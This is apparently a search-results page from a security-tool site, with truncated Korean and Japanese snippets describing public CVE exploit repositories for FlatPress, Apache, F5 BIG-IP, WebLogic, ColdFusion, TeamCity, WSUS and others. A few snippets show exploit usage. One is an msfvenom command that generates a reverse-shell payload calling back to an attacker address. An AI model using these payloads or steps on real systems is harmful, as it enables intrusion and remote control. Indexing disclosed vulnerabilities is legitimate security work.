1141611 matches found
CVE-2024-31835
CVE-2024-31835 flatpress CMS FlatPress v1.3의 크로스 사이트 스크립팅XSS 취약점으로, 원격 공격자가 파일 이름 매개변수에 조작된 페이로드를 통해 임의 코드를 실행할 수 있습니다. 영향을 받는 구성 요소: FlatPress CMS 관리자 패널 파일 업로드 필드 수정 버전: Flatpress v1.3 - FlatPress 버전 1.3에서 수정될 예정입니다. 공격 유형: 원격 공격 벡터: 이미지 파일 이름을 조작하여 취약점 악용 재현 단계: 1. 관리자 계정으로 로그인하고 아래 URL을 엽니다...
CVE-2022-37205
CVE-2022-37205 CVE-2022-37205 POC 권장 설명 RESERVED JFinal CMS 5.1.0은 SQL Injection의 영향을 받습니다. 이러한 인터페이스는 동일한 구성 요소를 사용하지 않으며 필터도 없지만, 각각 자체 SQL 연결 방법을 사용하여 SQL 인젝션을 초래합니다. 추가 정보 https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql8.md 취약점 유형 SQL Injection 제품 공급업체 the...
yolo-cage
yolo-cage: 해를 끼치지 않는 자율 코딩 에이전트 당신은 책임감 있는 엔지니어입니다. AI가 가장 민감한 시스템과 코드베이스를 마구 휘젓도록 내버려두지 않을 것입니다. 그렇기에 Claude Code와 같은 도구의 안전 장치를 절대 해제하지 않을 것입니다. 위험한 작업마다 허가를 요청하니까요! 안전합니다! 그래서 당신은 기다립니다. 그리고 응답합니다. 결정 피로가 쌓입니다. 그리고 바로 그때 일이 발생합니다. 권한 프롬프트는 위협 모델의 가장 약한 부분인 피곤한 사용자를 무시합니다. 에이전트의 폭발 반경을 제한하면서 권한...
CVE-2025-67435
CVE-2025-67436 PluXml CMS 5.8.22의 인증된 원격 코드 실행 RCE 연구자 : Chowdhury Faizal Ahammed 설치 root@kitploit: git clone https://github.com/pluxml/PluXml.git cd PluXml ddev config --project-type=php --php-version=8.1 --docroot=. ddev start 개념 증명 PoC...
CVE-2021-41773_42013
CVE-2021-41773 및 CVE-2021-42013 실습 환경 구성 구성 root@kitploit: $ git clone https://github.com/vulf/CVE-2021-4177342013 $ cd CVE-2021-4177342013 원하는 디렉토리로 이동 $ docker build -t vulnapache . $ docker run -d vulnapache 참고: 기본적으로 httpd.conf 파일은 RCE에 취약하도록 구성되어 있습니다. 경로 탐색Path Traversal만을 원한다면 이 문서를 읽어주세요...
CVE-2021-41773
CVE-2021-41773 Apache HTTP Server 2.4.49-2.4.50의 경로 정규화 변경에서 결함이 발견되었습니다. 공격자는 경로 탐색path traversal 공격을 이용해 URL을 예상 문서 루트document root 밖의 파일에 매핑할 수 있습니다. 문서 루트 외부의 파일이 "require all denied"로 보호되지 않으면 이러한 요청이 성공할 수 있습니다. 또한 이 결함은 CGI 스크립트와 같은 해석형interpreted 파일의 소스를 유출할 수 있습니다...
CVE-2022-1388_refresh
CVE-2022-1388 - refresh BigIP F5에서 CVE-2022-1388 취약점을 악용하기 위한 PoC 익스플로잇 사용법 root@kitploit: python3 refresh.py -h usage: refresh.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD...
CVE-2020-5902
CVE-2020-5902 F5-Big-IP용 익스플로잇 코드 CVE-2020-5902 요약 BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1 버전에서 Traffic Management User InterfaceTMUI, 구성 유틸리티라고도 함는 공개되지 않은 페이지에서 원격 코드 실행RCE 취약점이 존재합니다. 개념 증명 root@kitploit:...
CVE-2024-26574
CVE-2024-26574 Wondershare Filmora v.13.0.51 - 안전하지 않은 권한으로 인한 권한 상승 설명: Wondershare Filmora 및 하위 버전의 안전하지 않은 권한 취약점으로 인해 로컬의 권한이 없는 공격자가 제어 가능한 경로 C:\Users%username%\AppData\Local\Wondershare\Wondershare NativePush에 조작된 스크립트를 통해 SYSTEM으로 임의 코드를 실행할 수 있습니다. 영향받는 구성 요소 경로 권한:...
n8n-Authenticated-Expression-Injection-RCE-CVE-2025-68613
n8n 인증된 표현식 삽입 RCE – CVE-2025-68613 n8n 워크플로우 자동화 도구의 치명적인 원격 코드 실행 CVSS 9.9 개념 증명 – 교육 및 허가된 보안 연구용으로만 사용 ⚠️ 중요한 법적 경고 이 코드는 교육 목적과 통제된 실험 환경에서의 허가된 보안 테스트를 위해 엄격하게 제공됩니다. 프로덕션 시스템이나 명시적인 서면 허가 없이 모든 시스템에 무단 사용하는 것은 불법 이며 대부분의 관할권에서 컴퓨터 오용 및 사이버 보안 법률을 위반합니다. 사용은 본인의 책임입니다. 작성자는 어떠한 오용에 대해서도 책임을...
cve-2025-59287
CVE-2025-59287 - WSUS 공격 툴킷 제작: adel-h4x0a ⚠️ 교육 및 승인된 테스트 목적으로만 사용하십시오 ⚠️ 개요 이 툴킷은 Windows Server Update ServicesWSUS의 원격 코드 실행 취약점인 CVE-2025-59287의 공격을 시연합니다. 구성 요소 1. 암호화 모듈 cve-2025-59287-encr.py · WSUS 통신을 위한 AES 페이로드 암호화 · 레거시 및 보안 암호화 모드 지원 · 사용자 정의 페이로드 생성 2. 공격 모듈 cve-2025-59287-exp.py ·...
CVE-2024-27198-POC
CVE-2024-27198 – JetBrains TeamCity 인증 우회 및 RCE PoC 작성자: EynaExp 범위: 연구 / 방어 검증 / 승인된 테스트 전용 개요 이 저장소는 CVE-2024-27198 의 영향을 받는 JetBrains TeamCity 인스턴스를 대상으로 하는 개념 증명PoC 대량 스캐너 를 포함합니다. CVE-2024-27198은 관리자 권한 전체 탈취 및 원격 코드 실행RCE으로 이어질 수 있는 인증 우회 취약점입니다. 이 도구는 취약한 TeamCity 서버 탐지 , 관리자 접근 권한 검증, 그리고...
CVE-2019-16278
CVE-2019-16278 - Nostromo nhttpd 원격 코드 실행RCE 취약점 설명 HTTP 요청 처리 과정의 디렉터리 경로 탐색directory traversal을 통해 Nostromo nhttpd 1.9.6 이하 버전에서 발생하는 원격 코드 실행RCE 취약점입니다. 영향을 받는 버전 Nostromo nhttpd 1.9.6 및 이전 버전 익스플로잇 상세 이 익스플로잇은 URL 인코딩된 CRLF 문자%0d를 사용한 디렉터리 경로 탐색 취약점을 악용하여 /bin/sh에 접근하고 임의의 명령을 실행합니다. 작동 방식: 1...
log4jcheck
Northwave Log4j CVE-2021-44228 체커 2021년 12월 10일 금요일, Java 라이브러리 'log4j'의 원격 코드 실행RCE 취약점을 다루는 새로운 개념 증명1이 공개되었습니다. 이 취약점은 사전에 소프트웨어 개발자에게 공개되지 않았습니다. 해당 취약점은 CVE-2021-442283로 추적되고 있습니다. 자세한 내용은 Northwave Threat Response4에서 확인할 수 있습니다. Northwave는 일반적인 HTTP 헤더와 HTTP GET 요청의 일부로 페이로드를 주입하여 취약한 시스템을...
CVE-2025-55449-AstrBot-RCE
소개 AstrBot=3.5.17 버전에서는 소스 코드에 JWT secret이 하드코딩되어 있어, 임의의 플러그인을 업로드하여 RCE를 달성할 수 있습니다. 사용 root@kitploit: python main.py 'http://127.0.0.1:6185' 소스 코드 https://github.com/AstrBotDevs/AstrBot.git...
CVE-2020-14882
CVE-2020-14882 이 Python 스크립트는 Oracle WebLogic Server의 원격 코드 실행 취약점CVE-2020-14882을 악용하여 취약한 대상 서버에서 명령어를 실행하고 HTTP 요청을 통해 출력을 캡처하도록 설계되었습니다. 먼저 대상 WebLogic URL과 네트워크 인터페이스를 입력받은 후, 사용자가 명령어를 입력할 수 있는 루프로 진입합니다. 각 명령어에 대해 자동으로 사용 가능한 포트를 할당하고 해당 포트에 임시 HTTP 리스너를 생성합니다. 스크립트는 대상 WebLogic 시스템에서 실행될...
CVE-2023-26360-RCE
CVE-2023-26360 - ColdFusion 2021 원격 코드 실행 때때로 스크립트가 첫 시도에 작동하지 않습니다. 작동할 때까지 몇 번 시도해 보세요 실행 방법 msfvenom으로 페이로드 생성 root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py 시작하기 이 서버는 cve.2023-26360.py를 통한 초기 접근 후 Coldfusion 서버로 페이로드를 전송하므로, 먼저 초기화되어 있어야 합니다...
CVE-2024-1813-POC
CVE-2024-1813 - Simple Job Board ≤ 2.11.0 WordPress - 인증되지 않은 PHP 객체 주입 🎥 Proof-of-Concept 데모 엔드투엔드: 게스트가 공개 지원 양식을 통해 직렬화된 PHP 객체를 저장하고, 관리자가 지원자 목록을 열면 가젯 체인이 웹쉘을 드롭합니다. Simple Job Board WordPress 플러그인PressTigers에서 발생하는 인증되지 않은 PHP 객체 주입 취약점입니다. 게스트가 공개 지원 양식을 통해 직렬화된 PHP 객체를 저장하고, 이후 관리자가 지원자...
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC
CVE-2017-9841 — PHPUnit リモートコード実行 RCE PoC ⚠️ 免責事項: このツールは教育目的および許可されたセキュリティテストのみ を目的としています。自分が所有していない、または明示的なテスト許可を得ていないシステムに対する不正使用は違法 です。作者はこのツールの誤用に対する一切の責任を負いません。 概要 CVE-2017-9841 は、PHPUnit ライブラリのバージョン 5.6.3 未満 および 6.x 系の 6.4.2 未満 に影響するリモートコード実行 RCE 脆弱性です。 この脆弱性は src/Util/PHP/eval-stdin.php...